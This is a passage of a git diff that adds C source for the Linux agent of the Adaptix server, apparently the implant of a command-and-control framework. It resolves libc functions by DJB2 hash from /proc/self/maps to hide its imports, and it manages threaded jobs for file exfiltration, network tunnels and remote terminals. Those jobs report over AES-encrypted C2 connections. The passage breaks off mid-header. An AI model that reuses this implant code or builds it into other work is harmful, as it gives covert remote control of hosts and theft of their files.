'/') { + // Check this is actually a path (after inode field) + // Count at least 4 spaces before this + int sc = 0; + for (char *t = line_start; t < s; t++) { + if (*t == ' ') sc++; + } + if (sc >= 4) { + path = s; + break; + } + } + } + (void)space_count; + + if (path && ax_strstr(path, ".so")) { + // Parse base address (hex before '-') + uintptr_t base_addr = 0; + for (char *h = line_start; *h && *h != '-'; h++) { + int digit; + if (*h >= '0' && *h <= '9') digit = *h - '0'; + else if (*h >= 'a' && *h <= 'f') digit = *h - 'a' + 10; + else if (*h >= 'A' && *h <= 'F') digit = *h - 'A' + 10; + else break; + base_addr = base_addr * 16 + digit; + } + + const char *bn = path_basename(path); + uint32_t h = djb2_hash(DJB2_SEED, bn); + + // Check if we already have this lib (maps has multiple segments per lib) + int found = 0; + for (int i = 0; i < lib_count; i++) { + if (libs[i].name_hash == h) { + // Keep lowest base address + if (base_addr < libs[i].base) + libs[i].base = base_addr; + found = 1; + break; + } + } + + if (!found && lib_count < max_libs) { + libs[lib_count].base = base_addr; + libs[lib_count].name_hash = h; + lib_count++; + } + } + } + + line_start = newline + 1; + } + + // Move remaining partial line to beginning + int remaining = buf_used - (int)(line_start - buf); + if (remaining > 0) + ax_memmove(buf, line_start, remaining); + buf_used = remaining; + } + + sys_close(fd); + return lib_count; +} + +/// Resolve a loaded shared library by DJB2 hash of its basename +void *elf_resolve_lib(uint32_t name_hash) +{ + lib_entry_t libs[MAX_LIBS]; + int count = parse_proc_maps(libs, MAX_LIBS); + + for (int i = 0; i < count; i++) { + if (libs[i].name_hash == name_hash) { + // Validate ELF magic at base + if (is_valid_elf64((void *)libs[i].base)) + return (void *)libs[i].base; + } + } + return NULL; +} + +/// Resolve a symbol within an ELF64 library by DJB2 hash. +/// Walks PT_DYNAMIC → DT_SYMTAB + DT_STRTAB, then iterates symbols. +void *elf_resolve_sym(void *lib_base, uint32_t symbol_hash) +{ + if (!lib_base) return NULL; + + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)lib_base; + if (!is_valid_elf64(ehdr)) return NULL; + + uintptr_t base = (uintptr_t)lib_base; + + // Find PT_DYNAMIC and PT_LOAD[0] for bias calculation + const Elf64_Phdr *phdr = (const Elf64_Phdr *)(base + ehdr->e_phoff); + const Elf64_Dyn *dyn = NULL; + uintptr_t load_bias = 0; + int found_load = 0; + + for (uint16_t i = 0; i < ehdr->e_phnum; i++) { + if (phdr[i].p_type == PT_DYNAMIC) { + dyn = (const Elf64_Dyn *)(base + phdr[i].p_offset); + } + if (phdr[i].p_type == PT_LOAD && !found_load) { + // Load bias = actual base - expected vaddr of first PT_LOAD + load_bias = base - phdr[i].p_vaddr; + found_load = 1; + } + } + + if (!dyn) return NULL; + + // Extract DT_SYMTAB, DT_STRTAB, DT_HASH/DT_GNU_HASH from PT_DYNAMIC + const Elf64_Sym *symtab = NULL; + const char *strtab = NULL; + const Elf_Hash *elf_hash = NULL; + const Gnu_Hash *gnu_hash = NULL; + uint64_t strsz = 0; + + for (const Elf64_Dyn *d = dyn; d->d_tag != DT_NULL; d++) { + switch (d->d_tag) { + case DT_SYMTAB: symtab = (const Elf64_Sym *)(load_bias + d->d_val); break; + case DT_STRTAB: strtab = (const char *)(load_bias + d->d_val); break; + case DT_STRSZ: strsz = d->d_val; break; + case DT_HASH: elf_hash = (const Elf_Hash *)(load_bias + d->d_val); break; + case DT_GNU_HASH: gnu_hash = (const Gnu_Hash *)(load_bias + d->d_val); break; + } + } + + if (!symtab || !strtab) return NULL; + + // Determine symbol count. + // If DT_HASH is available, nchain == total symbol count. + // If only DT_GNU_HASH, we need to walk the chain to find max index. + uint32_t nsyms = 0; + + if (elf_hash) { + nsyms = elf_hash->nchain; + } else if (gnu_hash) { + // Walk GNU hash chains to find the highest symbol index + const uint64_t *bloom = (const uint64_t *)(gnu_hash + 1); + const uint32_t *buckets = (const uint32_t *)(bloom + gnu_hash->maskwords); + const uint32_t *chains = buckets + gnu_hash->nbuckets; + + // Find highest occupied bucket + uint32_t max_idx = 0; + for (uint32_t i = 0; i < gnu_hash->nbuckets; i++) { + if (buckets[i] > max_idx) + max_idx = buckets[i]; + } + + if (max_idx >= gnu_hash->symndx) { + // Walk chain from max bucket entry to find last symbol + uint32_t idx = max_idx; + while (!(chains[idx - gnu_hash->symndx] & 1)) + idx++; + nsyms = idx + 1; + } else { + nsyms = gnu_hash->symndx; + } + } + + if (nsyms == 0) return NULL; + + // Linear walk over .dynsym — hash each exported symbol name + for (uint32_t i = 0; i < nsyms; i++) { + const Elf64_Sym *sym = &symtab[i]; + + // Skip undefined symbols + if (sym->st_shndx == SHN_UNDEF) continue; + + // Skip non-global/non-weak + uint8_t bind = ELF64_ST_BIND(sym->st_info); + if (bind != STB_GLOBAL && bind != STB_WEAK) continue; + + // Skip non-function/non-object + uint8_t type = ELF64_ST_TYPE(sym->st_info); + if (type != STT_FUNC && type != STT_OBJECT) continue; + + // Get symbol name from strtab + uint32_t name_off = sym->st_name; + if (name_off == 0 || name_off >= strsz) continue; + const char *name = strtab + name_off; + if (*name == '\0') continue; + + if (djb2_hash(DJB2_SEED, name) == symbol_hash) { + return (void *)(load_bias + sym->st_value); + } + } + + return NULL; +} + +/// Initialize the resolver — resolve all APIs from loaded libraries +int elf_resolver_init(void) +{ + ax_memset(&g_apis, 0, sizeof(g_apis)); + + // Parse /proc/self/maps to find all loaded libraries + lib_entry_t libs[MAX_LIBS]; + int lib_count = parse_proc_maps(libs, MAX_LIBS); + if (lib_count == 0) return -1; + + // Collect valid ELF image bases + void *images[MAX_LIBS]; + int image_count = 0; + + for (int i = 0; i < lib_count; i++) { + void *base = (void *)libs[i].base; + if (is_valid_elf64(base)) { + images[image_count++] = base; + } + } + + if (image_count == 0) return -1; + + // Resolve macro: try all images until found + #define RESOLVE(field, name_str) do { \ + uint32_t _h = djb2_hash(DJB2_SEED, name_str); \ + for (int _i = 0; _i < image_count && !g_apis.field; _i++) { \ + g_apis.field = elf_resolve_sym(images[_i], _h); \ + } \ + } while(0) + + // ── File I/O ── + RESOLVE(fn_open, "open"); + RESOLVE(fn_close, "close"); + RESOLVE(fn_read, "read"); + RESOLVE(fn_write, "write"); + RESOLVE(fn_stat, "stat"); + RESOLVE(fn_fstat, "fstat"); + RESOLVE(fn_unlink, "unlink"); + RESOLVE(fn_rename, "rename"); + RESOLVE(fn_mkdir, "mkdir"); + RESOLVE(fn_opendir, "opendir"); + RESOLVE(fn_readdir, "readdir"); + RESOLVE(fn_closedir, "closedir"); + RESOLVE(fn_getcwd, "getcwd"); + RESOLVE(fn_chdir, "chdir"); + RESOLVE(fn_rmdir, "rmdir"); + RESOLVE(fn_rewinddir, "rewinddir"); + + // ── Memory ── + RESOLVE(fn_mmap, "mmap"); + RESOLVE(fn_munmap, "munmap"); + RESOLVE(fn_mprotect, "mprotect"); + + // ── Process ── + RESOLVE(fn_fork, "fork"); + RESOLVE(fn_execve, "execve"); + RESOLVE(fn_execvp, "execvp"); + RESOLVE(fn_waitpid, "waitpid"); + RESOLVE(fn_getpid, "getpid"); + RESOLVE(fn_getuid, "getuid"); + RESOLVE(fn_geteuid, "geteuid"); + RESOLVE(fn_kill, "kill"); + RESOLVE(fn_setsid, "setsid"); + RESOLVE(fn_setpgid, "setpgid"); + RESOLVE(fn_exit, "_exit"); + RESOLVE(fn_prctl, "prctl"); + + // ── Network ── + RESOLVE(fn_socket, "socket"); + RESOLVE(fn_connect, "connect"); + RESOLVE(fn_getaddrinfo, "getaddrinfo"); + RESOLVE(fn_freeaddrinfo, "freeaddrinfo"); + RESOLVE(fn_gethostname, "gethostname"); + RESOLVE(fn_setsockopt, "setsockopt"); + RESOLVE(fn_getsockopt, "getsockopt"); + RESOLVE(fn_select, "select"); + RESOLVE(fn_send, "send"); + RESOLVE(fn_recv, "recv"); + RESOLVE(fn_bind, "bind"); + RESOLVE(fn_listen, "listen"); + RESOLVE(fn_accept, "accept"); + + // ── Threading ── + // On glibc 2.34+, pthread is merged into libc.so.6 + RESOLVE(fn_pthread_create, "pthread_create"); + RESOLVE(fn_pthread_detach, "pthread_detach"); + RESOLVE(fn_pthread_mutex_init, "pthread_mutex_init"); + RESOLVE(fn_pthread_mutex_lock, "pthread_mutex_lock"); + RESOLVE(fn_pthread_mutex_unlock, "pthread_mutex_unlock"); + + // ── Pipes & PTY ── + RESOLVE(fn_pipe, "pipe"); + RESOLVE(fn_dup2, "dup2"); + RESOLVE(fn_fcntl, "fcntl"); + RESOLVE(fn_posix_openpt, "posix_openpt"); + RESOLVE(fn_grantpt, "grantpt"); + RESOLVE(fn_unlockpt, "unlockpt"); + RESOLVE(fn_ptsname, "ptsname"); + RESOLVE(fn_ioctl, "ioctl"); + + // ── System ── + RESOLVE(fn_getenv, "getenv"); + RESOLVE(fn_setenv, "setenv"); + RESOLVE(fn_sleep, "sleep"); + RESOLVE(fn_usleep, "usleep"); + RESOLVE(fn_snprintf, "snprintf"); + RESOLVE(fn_strtol, "strtol"); + + // ── User/Group ── + RESOLVE(fn_getpwuid, "getpwuid"); + RESOLVE(fn_getgrgid, "getgrgid"); + RESOLVE(fn_getifaddrs, "getifaddrs"); + RESOLVE(fn_freeifaddrs, "freeifaddrs"); + RESOLVE(fn_inet_ntop, "inet_ntop"); + RESOLVE(fn_localtime, "localtime"); + RESOLVE(fn_strftime, "strftime"); + + // ── Dynamic ── + RESOLVE(fn_dlopen, "dlopen"); + RESOLVE(fn_dlsym, "dlsym"); + RESOLVE(fn_dlclose, "dlclose"); + + #undef RESOLVE + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h new file mode 100644 index 000000000..2397d4598 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h @@ -0,0 +1,213 @@ +#ifndef ELF_RESOLVE_H +#define ELF_RESOLVE_H + +#include +#include + +/// ELF hash-based API resolution for Linux +/// Parses /proc/self/maps → walks ELF .dynsym/.dynstr → DJB2 hash matching +/// +/// Two modes: +/// 1. Static ELF (BUILD_SO not defined): stubs — all ops use direct syscalls +/// 2. Shared Object (BUILD_SO defined): full resolver — libc is loaded by ld.so + +#ifndef DJB2_SEED +#define DJB2_SEED 0x1505U +#endif + +/// DJB2 hash — case-insensitive, seeded. Matches Go-side djb2Hash() exactly. +uint32_t djb2_hash(uint32_t seed, const char *s); + +/// Resolve a loaded shared library by DJB2 hash of its basename. +/// Scans /proc/self/maps for r-xp mappings, hashes each library name. +/// Returns the base address (lowest mapping) or NULL. +void *elf_resolve_lib(uint32_t name_hash); + +/// Resolve a symbol within an ELF library by DJB2 hash. +/// Parses ELF header → PT_DYNAMIC → DT_SYMTAB + DT_STRTAB + DT_GNU_HASH +/// Returns the symbol's absolute address or NULL. +void *elf_resolve_sym(void *lib_base, uint32_t symbol_hash); + +/// Initialize the resolver — resolves all APIs into g_apis. +/// Call once at startup. Returns 0 on success, -1 on failure. +int elf_resolver_init(void); + +/// Resolved API table — function pointers populated by elf_resolver_init() +typedef struct { + // ── File I/O ── + void *fn_open; + void *fn_close; + void *fn_read; + void *fn_write; + void *fn_stat; + void *fn_fstat; + void *fn_unlink; + void *fn_rename; + void *fn_mkdir; + void *fn_opendir; + void *fn_readdir; + void *fn_closedir; + void *fn_getcwd; + void *fn_chdir; + void *fn_rmdir; + void *fn_rewinddir; + + // ── Memory ── + void *fn_mmap; + void *fn_munmap; + void *fn_mprotect; + + // ── Process ── + void *fn_fork; + void *fn_execve; + void *fn_execvp; + void *fn_waitpid; + void *fn_getpid; + void *fn_getuid; + void *fn_geteuid; + void *fn_kill; + void *fn_setsid; + void *fn_setpgid; + void *fn_exit; + void *fn_prctl; + + // ── Network ── + void *fn_socket; + void *fn_connect; + void *fn_getaddrinfo; + void *fn_freeaddrinfo; + void *fn_gethostname; + void *fn_setsockopt; + void *fn_getsockopt; + void *fn_select; + void *fn_send; + void *fn_recv; + void *fn_bind; + void *fn_listen; + void *fn_accept; + + // ── Threading ── + void *fn_pthread_create; + void *fn_pthread_detach; + void *fn_pthread_mutex_init; + void *fn_pthread_mutex_lock; + void *fn_pthread_mutex_unlock; + + // ── Pipes & PTY ── + void *fn_pipe; + void *fn_dup2; + void *fn_fcntl; + void *fn_posix_openpt; + void *fn_grantpt; + void *fn_unlockpt; + void *fn_ptsname; + void *fn_ioctl; + + // ── System ── + void *fn_getenv; + void *fn_setenv; + void *fn_sleep; + void *fn_usleep; + void *fn_snprintf; + void *fn_strtol; + + // ── User/Group ── + void *fn_getpwuid; + void *fn_getgrgid; + void *fn_getifaddrs; + void *fn_freeifaddrs; + void *fn_inet_ntop; + void *fn_localtime; + void *fn_strftime; + + // ── Dynamic ── + void *fn_dlopen; + void *fn_dlsym; + void *fn_dlclose; +} resolved_apis_t; + +extern resolved_apis_t g_apis; + +// ── Convenience casting macros ── +// Type-safe access to resolved APIs. Use ONLY when the resolver has populated g_apis +// (i.e. BUILD_SO mode). In static mode, use sys_*() direct syscalls instead. + +#define R_open(p,f,m) ((int(*)(const char*,int,...))g_apis.fn_open)(p,f,m) +#define R_close(fd) ((int(*)(int))g_apis.fn_close)(fd) +#define R_read(fd,b,n) ((long(*)(int,void*,unsigned long))g_apis.fn_read)(fd,b,n) +#define R_write(fd,b,n) ((long(*)(int,const void*,unsigned long))g_apis.fn_write)(fd,b,n) +#define R_stat(p,s) ((int(*)(const char*,void*))g_apis.fn_stat)(p,s) +#define R_fstat(fd,s) ((int(*)(int,void*))g_apis.fn_fstat)(fd,s) +#define R_unlink(p) ((int(*)(const char*))g_apis.fn_unlink)(p) +#define R_rename(o,n) ((int(*)(const char*,const char*))g_apis.fn_rename)(o,n) +#define R_mkdir(p,m) ((int(*)(const char*,unsigned int))g_apis.fn_mkdir)(p,m) +#define R_opendir(p) ((void*(*)(const char*))g_apis.fn_opendir)(p) +#define R_readdir(d) ((void*(*)(void*))g_apis.fn_readdir)(d) +#define R_closedir(d) ((int(*)(void*))g_apis.fn_closedir)(d) +#define R_getcwd(b,s) ((char*(*)(char*,unsigned long))g_apis.fn_getcwd)(b,s) +#define R_chdir(p) ((int(*)(const char*))g_apis.fn_chdir)(p) +#define R_rmdir(p) ((int(*)(const char*))g_apis.fn_rmdir)(p) +#define R_rewinddir(d) ((void(*)(void*))g_apis.fn_rewinddir)(d) + +#define R_fork() ((int(*)(void))g_apis.fn_fork)() +#define R_execve(p,a,e) ((int(*)(const char*,char*const*,char*const*))g_apis.fn_execve)(p,a,e) +#define R_execvp(f,a) ((int(*)(const char*,char*const*))g_apis.fn_execvp)(f,a) +#define R_waitpid(p,s,o) ((int(*)(int,int*,int))g_apis.fn_waitpid)(p,s,o) +#define R_getpid() ((int(*)(void))g_apis.fn_getpid)() +#define R_getuid() ((unsigned int(*)(void))g_apis.fn_getuid)() +#define R_geteuid() ((unsigned int(*)(void))g_apis.fn_geteuid)() +#define R_kill(p,s) ((int(*)(int,int))g_apis.fn_kill)(p,s) +#define R_setsid() ((int(*)(void))g_apis.fn_setsid)() +#define R_setpgid(p,g) ((int(*)(int,int))g_apis.fn_setpgid)(p,g) +#define R_exit(s) ((void(*)(int))g_apis.fn_exit)(s) +#define R_prctl(o,a2,a3,a4,a5) ((int(*)(int,unsigned long,unsigned long,unsigned long,unsigned long))g_apis.fn_prctl)(o,a2,a3,a4,a5) + +#define R_socket(d,t,p) ((int(*)(int,int,int))g_apis.fn_socket)(d,t,p) +#define R_connect(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_connect)(s,a,l) +#define R_getaddrinfo(h,s,hi,r) ((int(*)(const char*,const char*,const void*,void**))g_apis.fn_getaddrinfo)(h,s,hi,r) +#define R_freeaddrinfo(r) ((void(*)(void*))g_apis.fn_freeaddrinfo)(r) +#define R_gethostname(b,l) ((int(*)(char*,unsigned long))g_apis.fn_gethostname)(b,l) +#define R_setsockopt(s,l,o,v,n) ((int(*)(int,int,int,const void*,unsigned int))g_apis.fn_setsockopt)(s,l,o,v,n) +#define R_getsockopt(s,l,o,v,n) ((int(*)(int,int,int,void*,unsigned int*))g_apis.fn_getsockopt)(s,l,o,v,n) +#define R_select(n,r,w,e,t) ((int(*)(int,void*,void*,void*,void*))g_apis.fn_select)(n,r,w,e,t) +#define R_send(s,b,l,f) ((long(*)(int,const void*,unsigned long,int))g_apis.fn_send)(s,b,l,f) +#define R_recv(s,b,l,f) ((long(*)(int,void*,unsigned long,int))g_apis.fn_recv)(s,b,l,f) +#define R_bind(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_bind)(s,a,l) +#define R_listen(s,b) ((int(*)(int,int))g_apis.fn_listen)(s,b) +#define R_accept(s,a,l) ((int(*)(int,void*,unsigned int*))g_apis.fn_accept)(s,a,l) + +#define R_pthread_create(t,a,f,d) ((int(*)(void*,const void*,void*(*)(void*),void*))g_apis.fn_pthread_create)(t,a,f,d) +#define R_pthread_detach(t) ((int(*)(unsigned long))g_apis.fn_pthread_detach)(t) +#define R_pthread_mutex_init(m,a) ((int(*)(void*,const void*))g_apis.fn_pthread_mutex_init)(m,a) +#define R_pthread_mutex_lock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_lock)(m) +#define R_pthread_mutex_unlock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_unlock)(m) + +#define R_pipe(p) ((int(*)(int*))g_apis.fn_pipe)(p) +#define R_dup2(o,n) ((int(*)(int,int))g_apis.fn_dup2)(o,n) +#define R_fcntl(fd,cmd,...) ((int(*)(int,int,...))g_apis.fn_fcntl)(fd,cmd,##__VA_ARGS__) +#define R_posix_openpt(f) ((int(*)(int))g_apis.fn_posix_openpt)(f) +#define R_grantpt(fd) ((int(*)(int))g_apis.fn_grantpt)(fd) +#define R_unlockpt(fd) ((int(*)(int))g_apis.fn_unlockpt)(fd) +#define R_ptsname(fd) ((char*(*)(int))g_apis.fn_ptsname)(fd) +#define R_ioctl(fd,r,...) ((int(*)(int,unsigned long,...))g_apis.fn_ioctl)(fd,r,##__VA_ARGS__) + +#define R_getenv(k) ((char*(*)(const char*))g_apis.fn_getenv)(k) +#define R_setenv(k,v,o) ((int(*)(const char*,const char*,int))g_apis.fn_setenv)(k,v,o) +#define R_sleep(s) ((unsigned int(*)(unsigned int))g_apis.fn_sleep)(s) +#define R_usleep(u) ((int(*)(unsigned int))g_apis.fn_usleep)(u) +#define R_snprintf(b,n,f,...) ((int(*)(char*,unsigned long,const char*,...))g_apis.fn_snprintf)(b,n,f,##__VA_ARGS__) +#define R_strtol(s,e,b) ((long(*)(const char*,char**,int))g_apis.fn_strtol)(s,e,b) + +#define R_getpwuid(u) ((void*(*)(unsigned int))g_apis.fn_getpwuid)(u) +#define R_getgrgid(g) ((void*(*)(unsigned int))g_apis.fn_getgrgid)(g) +#define R_getifaddrs(a) ((int(*)(void**))g_apis.fn_getifaddrs)(a) +#define R_freeifaddrs(a) ((void(*)(void*))g_apis.fn_freeifaddrs)(a) +#define R_inet_ntop(f,s,d,l) ((const char*(*)(int,const void*,char*,unsigned int))g_apis.fn_inet_ntop)(f,s,d,l) +#define R_localtime(t) ((void*(*)(const void*))g_apis.fn_localtime)(t) +#define R_strftime(b,m,f,t) ((unsigned long(*)(char*,unsigned long,const char*,const void*))g_apis.fn_strftime)(b,m,f,t) + +#define R_dlopen(f,m) ((void*(*)(const char*,int))g_apis.fn_dlopen)(f,m) +#define R_dlsym(h,s) ((void*(*)(void*,const char*))g_apis.fn_dlsym)(h,s) +#define R_dlclose(h) ((int(*)(void*))g_apis.fn_dlclose)(h) + +#endif /* ELF_RESOLVE_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c new file mode 100644 index 000000000..6bc7ebea1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c @@ -0,0 +1,297 @@ +/// jobs.c -- Job management for Linux agent +/// Dual mode: static ELF (clone+spinlock) or SO (pthread via resolver) + +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "msgpack.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +/// Global job context instance +job_context_t g_job_ctx; + +// ── Threading abstraction ── + +#ifdef BUILD_SO + +void jobs_mutex_init(pthread_mutex_t *m) { + R_pthread_mutex_init(m, (void*)0); +} + +void jobs_mutex_lock(pthread_mutex_t *m) { + R_pthread_mutex_lock(m); +} + +void jobs_mutex_unlock(pthread_mutex_t *m) { + R_pthread_mutex_unlock(m); +} + +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg) { + pthread_t t; + int ret = R_pthread_create(&t, (void*)0, fn, arg); + if (ret == 0) { + R_pthread_detach(t); + if (tid) *tid = t; + } + return ret; +} + +#else + +// Static mode: spinlock + clone() with mmap'd stack + +void jobs_mutex_init(pthread_mutex_t *m) { + m->__lock = 0; +} + +// Atomic swap: returns previous value, stores new_val +static inline int atomic_swap(volatile int *ptr, int new_val) { +#ifdef ARCH_X86_64 + return __sync_lock_test_and_set(ptr, new_val); +#else + // ARM64: LDAXR/STLXR loop (no libgcc dependency) + int old, tmp; + __asm__ volatile( + "1: ldaxr %w0, [%2] \n" + " stlxr %w1, %w3, [%2] \n" + " cbnz %w1, 1b \n" + : "=&r"(old), "=&r"(tmp) + : "r"(ptr), "r"(new_val) + : "memory" + ); + return old; +#endif +} + +static inline void atomic_store_release(volatile int *ptr, int val) { +#ifdef ARCH_X86_64 + __sync_lock_release(ptr); +#else + __asm__ volatile("stlr %w0, [%1]" : : "r"(val), "r"(ptr) : "memory"); +#endif +} + +void jobs_mutex_lock(pthread_mutex_t *m) { + while (atomic_swap(&m->__lock, 1)) { + while (m->__lock) { +#ifdef ARCH_X86_64 + __asm__ volatile("pause"); +#else + __asm__ volatile("yield"); +#endif + } + } +} + +void jobs_mutex_unlock(pthread_mutex_t *m) { + atomic_store_release(&m->__lock, 0); +} + +#define THREAD_STACK_SIZE (256 * 1024) + +// Trampoline for clone-based threads +typedef struct { + void *(*fn)(void*); + void *arg; +} clone_trampoline_t; + +static int _clone_entry(void *param) { + clone_trampoline_t *info = (clone_trampoline_t*)param; + void *(*fn)(void*) = info->fn; + void *arg = info->arg; + ax_free(info); + + fn(arg); + + // Exit just this thread (with CLONE_THREAD, exit_group exits the thread) + raw_syscall1(__NR_exit, 0); + return 0; // unreachable +} + +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg) { + // Allocate stack via mmap + void *stack = sys_mmap((void*)0, THREAD_STACK_SIZE, + 3 /*PROT_READ|PROT_WRITE*/, + 0x22 /*MAP_PRIVATE|MAP_ANONYMOUS*/, + -1, 0); + if ((long)stack <= 0) return -1; + + clone_trampoline_t *info = (clone_trampoline_t*)ax_malloc(sizeof(clone_trampoline_t)); + info->fn = fn; + info->arg = arg; + + // Stack grows downward + void *stack_top = (uint8_t*)stack + THREAD_STACK_SIZE; + + long ret = raw_syscall5(__NR_clone, + (long)(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD), + (long)stack_top, + 0, 0, + (long)info); + + if (ret < 0) { + ax_free(info); + sys_munmap(stack, THREAD_STACK_SIZE); + return -1; + } + + if (ret == 0) { + // Child thread + _clone_entry(info); + // unreachable + } + + if (tid) *tid = (pthread_t)ret; + return 0; +} + +#endif // BUILD_SO + +// ── Job context management ── + +void jobs_init(job_context_t *ctx) { + ax_memset(ctx, 0, sizeof(job_context_t)); + jobs_mutex_init(&ctx->jobs_mutex); + jobs_mutex_init(&ctx->tunnels_mutex); + jobs_mutex_init(&ctx->terminals_mutex); +} + +void jobs_update_connection(job_context_t *ctx, const char *address, + int banner_size, const uint8_t *enc_key, + uint32_t profile_type) { + ax_strncpy(ctx->address, address, sizeof(ctx->address) - 1); + ctx->banner_size = banner_size; + ax_memcpy(ctx->enc_key, enc_key, 16); + ctx->profile_type = profile_type; +} + +int jobs_open_connection(job_context_t *ctx, connector_t *conn) { + if (conn_open(conn, ctx->address) != 0) + return -1; + + if (ctx->banner_size > 0) { + if (conn_discard(conn, (size_t)ctx->banner_size) != 0) { + conn_close(conn); + return -1; + } + } + return 0; +} + +int jobs_alloc(job_context_t *ctx) { + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (!ctx->jobs[i].active) { + ax_memset(&ctx->jobs[i], 0, sizeof(job_entry_t)); + ctx->jobs[i].conn.fd = -1; + jobs_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +int jobs_find(job_context_t *ctx, const char *job_id) { + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active && ax_strcmp(ctx->jobs[i].job_id, job_id) == 0) { + jobs_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +void jobs_remove(job_context_t *ctx, int idx) { + jobs_mutex_lock(&ctx->jobs_mutex); + if (idx >= 0 && idx < MAX_JOBS) { + ctx->jobs[idx].active = 0; + ctx->jobs[idx].job_id[0] = '\0'; + } + jobs_mutex_unlock(&ctx->jobs_mutex); +} + +int tunnels_find(job_context_t *ctx, int channel_id) { + jobs_mutex_lock(&ctx->tunnels_mutex); + for (int i = 0; i < MAX_TUNNELS; i++) { + if (ctx->tunnels[i].active && ctx->tunnels[i].channel_id == channel_id) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->tunnels_mutex); + return -1; +} + +int terminals_find(job_context_t *ctx, int term_id) { + jobs_mutex_lock(&ctx->terminals_mutex); + for (int i = 0; i < MAX_TERMINALS; i++) { + if (ctx->terminals[i].active && ctx->terminals[i].term_id == term_id) { + jobs_mutex_unlock(&ctx->terminals_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->terminals_mutex); + return -1; +} + +int jobs_send_init(job_context_t *ctx, connector_t *conn, + int pack_type, const uint8_t *pack_data, uint32_t pack_len) { + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", pack_type); + mp_write_kv_bin(&outer, "data", pack_data, pack_len); + + size_t enc_len; + uint8_t *encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, + ctx->enc_key, &enc_len); + mp_writer_free(&outer); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted); + return ret; +} + +int jobs_send_message(job_context_t *ctx, connector_t *conn, + uint32_t command_id, const char *job_id, + const uint8_t *data, uint32_t data_len) { + mp_writer_t job_w; + mp_writer_init(&job_w, 256 + data_len); + mp_write_map(&job_w, 3); + mp_write_kv_uint(&job_w, "command_id", command_id); + mp_write_kv_str(&job_w, "job_id", job_id); + mp_write_kv_bin(&job_w, "data", data, data_len); + + mp_writer_t msg_w; + mp_writer_init(&msg_w, 256 + job_w.buf.len); + mp_write_map(&msg_w, 2); + mp_write_kv_int(&msg_w, "type", 2); + mp_write_str(&msg_w, "object", 6); + mp_write_array(&msg_w, 1); + mp_write_bin(&msg_w, job_w.buf.data, (uint32_t)job_w.buf.len); + mp_writer_free(&job_w); + + size_t enc_len; + uint8_t *encrypted = aes128_gcm_encrypt(msg_w.buf.data, msg_w.buf.len, + ctx->session_key, &enc_len); + mp_writer_free(&msg_w); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted); + return ret; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h new file mode 100644 index 000000000..2642abfb7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h @@ -0,0 +1,164 @@ +#ifndef JOBS_H +#define JOBS_H + +#include "types.h" +#include "connector.h" +#include "msgpack.h" +#include + +/// Threading abstraction: +/// - BUILD_SO mode: uses R_pthread_create/mutex from resolved libc +/// - Static ELF mode: uses clone() with mmap'd stack (no libc) + +#ifndef _PTHREAD_TYPES_DEFINED +#define _PTHREAD_TYPES_DEFINED +typedef unsigned long pthread_t; +typedef struct { volatile int __lock; } pthread_mutex_t; +#endif + +/// Job management system -- async tasks via threads +/// Matches Go agent's DOWNLOADS, JOBS, TUNNELS, TERMINALS maps + +#define MAX_JOBS 32 +#define MAX_TUNNELS 16 +#define MAX_TERMINALS 8 + +/// Job types (maps to pack types) +#define JOB_TYPE_DOWNLOAD EXFIL_PACK /* 2 */ +#define JOB_TYPE_RUN JOB_PACK /* 3 */ +#define JOB_TYPE_TUNNEL JOB_TUNNEL /* 4 */ +#define JOB_TYPE_TERMINAL JOB_TERMINAL /* 5 */ + +/// Job state +typedef struct { + char job_id[64]; /* task ID (hex string from server) */ + int job_type; /* JOB_TYPE_* */ + int active; /* 1 = running, 0 = finished/canceled */ + int canceled; /* 1 = cancel requested */ + pthread_t thread; /* worker thread */ + connector_t conn; /* separate C2 connection for this job */ +} job_entry_t; + +/// Tunnel controller -- MUX model (data flows in main channel, no separate C2 connection) +/// Follows beacon's Proxyfire pattern: non-blocking polling in main loop. +#define TUNNEL_STATE_CONNECTING 0 +#define TUNNEL_STATE_READY 1 +#define TUNNEL_STATE_CLOSED 2 + +#define TUNNEL_HIGH_WATERMARK (4 * 1024 * 1024) /* 4 MB: send PAUSE to teamserver */ +#define TUNNEL_LOW_WATERMARK (1 * 1024 * 1024) /* 1 MB: send RESUME to teamserver 